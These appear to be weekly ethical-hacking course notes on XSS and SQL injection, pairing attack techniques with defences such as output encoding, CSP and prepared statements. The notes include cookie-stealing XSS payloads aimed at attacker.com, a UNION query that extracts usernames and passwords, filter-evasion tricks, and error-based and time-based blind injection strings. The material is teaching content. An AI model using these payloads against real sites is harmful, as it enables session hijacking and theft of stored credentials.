Segfault ethical hacking week 11

 

Understanding XSS (Cross-Site Scripting): A Deep Dive

XSS (Cross-Site Scripting) is one of the most common and dangerous client-side web vulnerabilities. It allows attackers to inject malicious scripts into web applications, targeting users through their browsers.

What is XSS?

XSS is a client-side code injection vulnerability. Malicious scripts—typically written in JavaScript—are injected into content delivered to a user's browser. When the browser renders the content, the script executes within the security context of the application, which can lead to session hijacking, credential theft, and more.

The script is executed in the victim’s browser, not the attacker’s.

Types of XSS Attacks

1. Stored XSS (Persistent XSS)

In a Stored XSS attack, the malicious script is permanently stored on the target server—such as in a forum post, comment section, or database field.

Example:

<script>document.location='http://attacker.com?cookie='+document.cookie;</script>

When a user views the affected page, the script runs automatically, potentially stealing cookies or executing other malicious actions.

Real-World Scenario:

• Attacker posts a blog comment containing <script>...</script>

• Victim views the post

• Their browser executes the script

• Cookie/session data is silently exfiltrated

2. Reflected XSS (Non-Persistent XSS)

In Reflected XSS, the script is not stored. Instead, it is reflected off the server—typically via query parameters in a URL—and immediately executed.

Key Characteristics:

• Often used via crafted links

• Relies on social engineering to trick users into clicking

Example:

https://victim-site.com/search?q=<script>...</script>

Reflected XSS is typically delivered using GET requests. POST is not effective in most reflected scenarios.

3. DOM-Based XSS

DOM-Based XSS is triggered entirely on the client side, using JavaScript operations like document.write, innerHTML, or location.hash. The payload is never sent to the server.

Example:

document.write("<img src='" + location.hash.substring(1) + "'>");

 Why Attackers Love XSS

1. Session Hijacking

Many web applications store Session IDs in cookies.

var cookieData = document.cookie;

Attackers can exfiltrate these cookies by creating an image tag that sends the data to their server:

var i = new Image();
i.src = "http://attacker.com/?cookie=" + cookieData;

This silently triggers a GET request to the attacker's server, delivering the victim’s session ID.

Once the attacker has the session ID, they can impersonate the user.

Recommended Image:
A diagram showing:

• Victim browser ➡️ Attacker’s server (via invisible image)

• Session hijack flow (User → App → Attacker)

2. Credential Theft (Keylogging)

XSS can be used to embed malicious keyloggers that record a user's credentials or private data and send it back to the attacker.

How to Detect XSS

XSS Type	Detection Method
Stored XSS	Check database/user-generated content
Reflected XSS	Use Burp Suite to analyze parameters
DOM-Based XSS	Analyze JavaScript code and DOM operations

Look for:

• document.write

• innerHTML

• eval (rare, but dangerous)

• location, document.URL, or document.referrer being used unsafely

If something appears on the screen without a corresponding HTTP response, it may have come from JavaScript logic—investigate the DOM.

Prevention Strategies

1. HTML Entity Encoding

Convert special characters (<, >, ", ') into HTML entities to prevent them from being interpreted as code.

Character	HTML Entity
<	&lt;
>	&gt;
"	&quot;
'	&#x27;
/	&#x2F;

2. Use Security Libraries

• Use frameworks that auto-escape output (e.g., React, Angular)

• Sanitize inputs on both client and server

• Validate and encode all output properly

3. Content Security Policy (CSP)

A strong CSP can prevent inline scripts from executing, limiting the damage of successful XSS injections.

Final Thoughts

XSS is a critical vulnerability that continues to plague web applications. While it requires client-side injection, its impact can be server-wide, especially when sessions, credentials, or sensitive data are compromised.

As a developer or security analyst:

• Always encode output

• Be cautious of user inputs

• Review JavaScript DOM manipulations

• Leverage tools like Burp Suite, RequestBin, and browser dev tools to test thoroughly

Segfault ethical hacking week 10

SQL Injection & XSS (Cross-Site Scripting)

1. SQL Injection Points

SQL injection targets areas where SQL queries are executed on the web page.
To effectively perform SQLi, you must understand how parameters are used and how the backend fetches data from the database.

URL: boardRead.php?boardIdx=65

SELECT ... FROM ... WHERE idx = 65

Test injections:

• 65 AND 1=1

• 65' AND '1'='1

• 64+1

To bypass whitespace filters:

• Use comments: 65/**/AND/**/1=1

• Mix cases: 65 aNd 1=1

👉 The key is to deduce the structure of the SQL query on the server and craft your injection accordingly.

2. Types of SQL Injection

• Union-Based SQLi
   When query results are shown on the page.

• Error-Based SQLi
   When database error messages are displayed.

• Blind SQLi
   When there is no output but responses vary based on true/false conditions.
   This works in most scenarios, but is slower and harder to automate manually.

Defense Against SQL Injection

• Prepared Statements
   Compile SQL queries in advance using placeholders.
   Example:

SELECT ... FROM ... WHERE id = ?

• Whitelist Filtering
   Only allow known-safe input (e.g., for ORDER BY, table names, column names).

Notes for Penetration Testing

1. Avoid INSERT, DELETE, UPDATE queries – limit to non-destructive AND tests.

2. Avoid excessive use of comments (--, #) – may leave traces.

3. Never tamper with actual data (e.g., modifying user info).

Filter Evasion Techniques

• Whitespace Filtering: Replace spaces with comments.

  • Example: AND/**/1=1

• Bypass Parentheses Filtering: Alter syntax to work without brackets.

XSS (Cross-Site Scripting)

XSS is an attack that injects client-side scripts (typically JavaScript) into a web page to execute in another user's browser.

Purpose of XSS

Execute malicious scripts in the victim’s browser (not on the server).

What qualifies as client-side?

• HTML

• CSS

• JavaScript

Types of XSS Injection

1. Stored XSS

• The script is saved on the server and executed when the page is viewed.

• Common in:

  • User registration forms

  • Forum or bulletin board posts

Testing Stored XSS:

1. Check if input data is rendered back in the response.

2. Test with HTML special characters:

   • Example input: normaltic<""

3. Inject a basic script:

   
   <script>alert(1)</script>
   

Proof of Concept (PoC) options:

• alert(1)

• console.log()

• prompt(1)

• confirm('test')

Stored XSS is dangerous because other users viewing the data will unknowingly execute the injected script.

2. Reflected XSS

• The injected script is immediately reflected in the server's response via parameters.

• Common in:

  • Username availability checks

  • Search features (e.g., “No results found for ‘query’”)

Testing Reflected XSS:

1. Inject a payload in a GET parameter.

2. Confirm it appears in the response.

💡 Use:

<script>alert(1)</script>

Because this attack works via a malicious link, GET method must be used to share the attack vector.

Key Differences

Type	Storage Location	Execution Timing	Attack Vector
Stored	On the server	When page is viewed	Page with stored content
Reflected	In the URL/request	Immediate on request	Shared URL / link

XSS Defense Mechanisms

• Filter special characters like <, ", ', etc.

• Sanitize or encode user inputs in HTML context.

• Avoid inserting raw user input into scripts, attributes, or tags.

Why Is XSS Dangerous?

• Stored XSS: Scripts persist on the server, affecting all users who visit the infected page.

• Reflected XSS: Used for phishing-style attacks via URLs. Victims are tricked into clicking a link that executes JavaScript.

Always verify:

• Is the payload inserted in the request echoed back in the response?

• Is the page vulnerable to <script> injections?

Segfault ethical hacking week 9

SQL Injection Point

1. SQL Injection

=> Inserting SQL queries to extract desired information.
Example from DB: SELECT * FROM member

• When the SQL query result is displayed on the screen:
   → Use Union-Based SQL Injection

• When SQL error messages are shown:
   → Use Error-Based SQL Injection

• Blind SQL Injection:
   → Use Blind SQL Injection when there's a difference in response based on true/false conditions.
   It works in most situations where the above two don't apply.
   (Currently, this method feels too slow for me to use efficiently.)

The key is executing the specific SELECT query you need. Know what you want to run.

Finding SQL Injection Points

Look for areas where SQL queries are used by the database:

• For example, when SQL uses a WHERE user_id LIKE '%____%' clause
   Try:
   nor %' and '1%'='1
   This inserts an always-true condition using AND.

Check whether the result changes between:

• AND '1'='1' (true condition)

• AND '1'='2' (false condition)

If the result differs → SQLi is likely possible.

Use Burp Suite to inspect parameters, headers, and other request data.

2. When Finding SQL Injection Points:

• Focus on places where data is retrieved from the DB.

• Think about how SQL queries are used in the Web Server.

Examples:

• INSERT INTO table VALUES (...) during Sign-up

• SELECT statements used in MyPage, like:
   WHERE userid = '_____'
   → Usually, the server inserts a stored value here.

Test case:

Try:

• sfUser' and '1'='1

• sfUser' and '1'='2

If the result differs → SQLi is possible → You may be able to extract all data.

You can extract data using:

• Parameters

• Cookies

• User-Agent, etc.

SQLi is not limited to text input fields.

Understand How SQL Works

• Always consider how the server-side logic might use SQL.

• Cookies can also be injection points.

Example: A bulletin board displaying posts:

• Option parameter:
   option=title, value=test, result=...

• The query might look like:
   WHERE title LIKE '%test%'

Test:

• test% and '1%'='1 → (fails)

Try injecting in the column name:

• order by title → Try injecting SELECT inside this to test conditions.

If "true" returns content and "false" does not → Vulnerability confirmed.

 Avoid using # for comments unless absolutely necessary.

Advanced Points

• SQLi is possible in:
   1. Cookies
   2. Column names
   3. ORDER BY clauses

Case When syntax (SQL equivalent of if):

CASE WHEN (condition) THEN (true value) ELSE (false value) END

Example:

CASE WHEN (1=1) THEN 1 ELSE (SELECT 1 UNION SELECT 2) END

Use in sort parameter:

sort = (SELECT 1 UNION SELECT 2 WHERE (1=2))

• Results in a matrix output.

• If false condition → No output → Good test case.

To trigger errors (for error-based detection), try:

sfUser' AND (SELECT 1 UNION SELECT 2 WHERE (1=2)) AND '1'='1

---

SQL Injection Mitigation

1. Prepared Statements

• Pre-compiles the SQL query:

SELECT ... WHERE id = ?

• Originally designed to improve performance, but now widely used for SQLi prevention.

 Common mistakes:

• Not using prepared statements properly, e.g.:

WHERE id = 'user_input'

Prepared statements cannot be used for:

• ORDER BY, TABLE names, COLUMN names

Always inspect for:

• sort, ord, or other dynamically-inserted SQL identifiers.

2. Whitelist Filtering

• Whitelist filtering: Only allow specific safe keywords (preferred).

• Blacklist filtering: Block known dangerous keywords (less secure).

Segfault ethical hacking week 8

 
SQL Injection = Extracting data using SQL flaws

1. Types of SQL Injection

1.1 UNION-based SQLi

• Used when query results are displayed on the screen.

• Attacker injects a UNION SELECT to retrieve additional data.

1.2 Error-Based SQLi

• Used when SQL errors are shown on the page.

• Errors are triggered intentionally to extract database information.

1.3 Blind SQLi

• Works when the application does not display query results or errors.

• The attacker relies on behavioral differences (like page content or response time).

Depending on the situation, one of the three methods is chosen.

---

2. The Goal of SQL Injection

To execute your own SELECT queries on the server and extract sensitive data.

---

3. How to Identify SQL Injection Points

Step-by-step:

1. Find inputs that are sent to the server (text fields, cookies, headers, etc.)

2. Test with a payload like:

   ' AND '1'='1
   ' AND '1'='2
   

   • If the results differ: the input is vulnerable.

   • If results are identical: test further using variations.

Check parameters in:

• Form fields

• URL query strings

• HTTP headers (e.g. User-Agent)

• Cookies

Always consider how the server constructs its SQL queries.
Don't inject blindly — think about the query logic first.

---

4. Real-world Injection Examples

Cookie-based Injection Example

A forum post listing shows:

SELECT * FROM posts WHERE title LIKE '%sfUser%'

Test with:

' AND '1'='1  --> Returns normal results
' AND '1'='2  --> Returns nothing

Result differs → SQLi confirmed.

Column Name Injection

ORDER BY 1
ORDER BY 2
...

• Use this to guess how many columns exist.

You can also inject:

CASE WHEN (1=1) THEN column1 ELSE column2 END

Or even:

SELECT 1 UNION SELECT 2

To trigger an error or test visibility of injected data.

---

5. SQLi via ORDER BY clause

Some parameters may be used in ORDER BY clauses, allowing injection if not sanitized properly.

---

6. SQL Injection Prevention Methods

6.1 Prepared Statements

• Use placeholders (e.g., ?) to pre-compile SQL queries.

• Protects against injection by separating data from code.

SELECT * FROM users WHERE id = ?

Note:

• Can't always be used with ORDER BY, table names, or column names.

6.2 Whitelisting (Allow-List Filtering)

• Only allow approved input values.

• Safer than blacklisting forbidden characters or words.

---

7. SQL Injection Cheat Sheet Summary

1. UNION-based SQLi

• Combine queries using UNION.

• Determine number of columns using ORDER BY.

• Match data types before injecting.

Example:

sql

' UNION SELECT username, password FROM users--

2. Error-Based SQLi

• Trigger type or logic errors to reveal system details.

• Works only if DB error messages are shown to the user.

Example:

' AND 1=CONVERT(int, (SELECT TOP 1 name FROM sys.tables))--

3. Blind SQLi

A. Boolean-based Blind SQLi

• Observe content changes on the page.

Example:

' AND 1=1--  → Page loads normally  
' AND 1=2--  → Page is empty or shows error

B. Time-based Blind SQLi

• Inject SLEEP() or WAITFOR DELAY to observe response time.

Example:

' AND IF(SUBSTRING(@@version,1,1)='5', SLEEP(5), 0)--